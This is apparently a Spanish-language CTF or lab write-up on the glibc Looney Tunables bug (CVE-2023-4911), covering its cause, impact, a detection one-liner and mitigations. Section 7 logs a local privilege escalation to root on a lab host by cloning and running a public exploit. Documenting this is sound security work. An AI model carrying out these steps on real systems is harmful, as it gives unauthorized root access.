1. Descripción técnica
Looney Tunables, identificada como CVE-2023-4911, es un heap-based buffer overflow en el cargador dinámico de glibc (ld.so) durante el procesamiento de la variable de entorno GLIBC_TUNABLES.
El parser maneja incorrectamente una secuencia duplicada del tipo tunable=tunable=valor y puede escribir más allá del búfer asignado en el heap. Un atacante local puede preparar el entorno y activar el cargador mediante un ejecutable SUID o SGID enlazado dinámicamente. La explotación exitosa altera el comportamiento del loader antes de que el programa abandone su contexto privilegiado y puede producir ejecución como root.
Es una escalada de privilegios local (no remota): requiere acceso previo a una shell sin privilegios.
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root en sistemas con la glibc vulnerable.
- Afecta a distribuciones muy extendidas en sus versiones de 2023 (Fedora, Ubuntu, Debian, etc.) con glibc 2.34–2.38.
- Explotación fiable y con PoCs públicas, lo que la hizo muy popular en CTFs y pentesting tras su publicación.
3. Contexto
- Descubierta por el equipo de investigación de Qualys y publicada en octubre de 2023.
- El nombre "Looney Tunables" juega con la palabra tunables.
- Rápidamente aparecieron exploits públicos (p. ej. el de hadrian3689 en GitHub) que generan una
libcmaliciosa y un binario que dispara el overflow.
4. Condiciones necesarias
- Una compilación vulnerable de glibc derivada del cambio introducido en 2.34 y sin la corrección del proveedor.
- Presencia de un ejecutable SUID o SGID enlazado dinámicamente que active el loader en modo seguro.
- Acceso local como usuario sin privilegios.
5. Validación y detección
- Comprobación rápida (un binario SUID con un
GLIBC_TUNABLESmalformado provoca un crash en versiones vulnerables):
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=$(printf '%08192x' 1)" /usr/bin/su --help
# Segmentation fault (core dumped) → probablemente vulnerable- Verificar la versión de glibc:
ldd --version6. Mitigación
- Actualizar glibc a una versión parcheada (la solución definitiva).
- Como mitigación temporal, se puede usar una política de SystemTap que bloquee la ejecución de SUID con
GLIBC_TUNABLESen el entorno. - Reducir el número de binarios SUID innecesarios.
7. Explotación documentada en 026-pipy
Confirmamos la vulnerabilidad y usamos un exploit público que genera una libc maliciosa y compila el disparador:
angela@pipy:/tmp$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
angela@pipy:/tmp$ git clone https://github.com/hadrian3689/looney-tunables-CVE-2023-4911.git
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ python3 libc.py
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ gcc exp.c -o exp
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ ./exp
# (tras varios intentos)
root@pipy:/tmp#8. Clasificación
- Tipo: Heap-based Buffer Overflow / Local Privilege Escalation
- CVE: CVE-2023-4911
- CWE:
- CWE-122: Heap-based Buffer Overflow